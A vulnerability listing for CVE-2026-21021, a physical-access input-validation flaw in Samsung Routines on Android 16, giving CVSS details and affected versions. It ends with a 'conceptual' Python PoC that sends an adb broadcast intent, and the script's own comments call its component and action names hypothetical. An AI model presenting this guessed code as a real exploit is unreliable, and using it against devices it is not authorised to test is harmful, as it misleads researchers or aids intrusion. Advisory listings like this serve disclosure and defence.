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CVE-2026-21021 CVSS 6.8 MEDIUM

CVE-2026-21021

Published: 2026-05-13 06:16:14
Last Modified: 2026-05-13 17:29:00

Description

Improper input validation in Routines prior to SMR May-2026 Release 1 allows physical attackers to launch privileged activity.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:samsung:android:16.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:16.0:smr-apr-2026-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:16.0:smr-aug-2025-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:16.0:smr-dec-2025-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:16.0:smr-feb-2026-r1:*:*:*:*:*:* - VULNERABLE
Samsung Routines < SMR May-2026 Release 1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-21021 # This script demonstrates how an attacker might attempt to trigger the vulnerability via ADB. # Note: This requires physical access and ADB enabled (or bypassing ADB auth). import subprocess def trigger_privileged_activity(): # Malicious intent payload targeting the vulnerable Routines component # The specific component name is hypothetical based on the vulnerability description. target_component = "com.samsung.android.routines/.service.RoutinesTriggerService" malicious_action = "com.samsung.android.routines.action.LAUNCH_PRIVILEGED" try: # Constructing the adb command to send a broadcast intent cmd = [ "adb", "shell", "am", "broadcast", "-a", malicious_action, "-n", target_component, "--es", "payload", "malicious_input" ] print("[*] Attempting to trigger vulnerability in CVE-2026-21021...") result = subprocess.run(cmd, capture_output=True, text=True) if "Broadcast completed: result=0" in result.stdout: print("[+] Potential exploit successful. Privileged activity may have started.") else: print("[-] Exploit failed or patched.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": trigger_privileged_activity()

References

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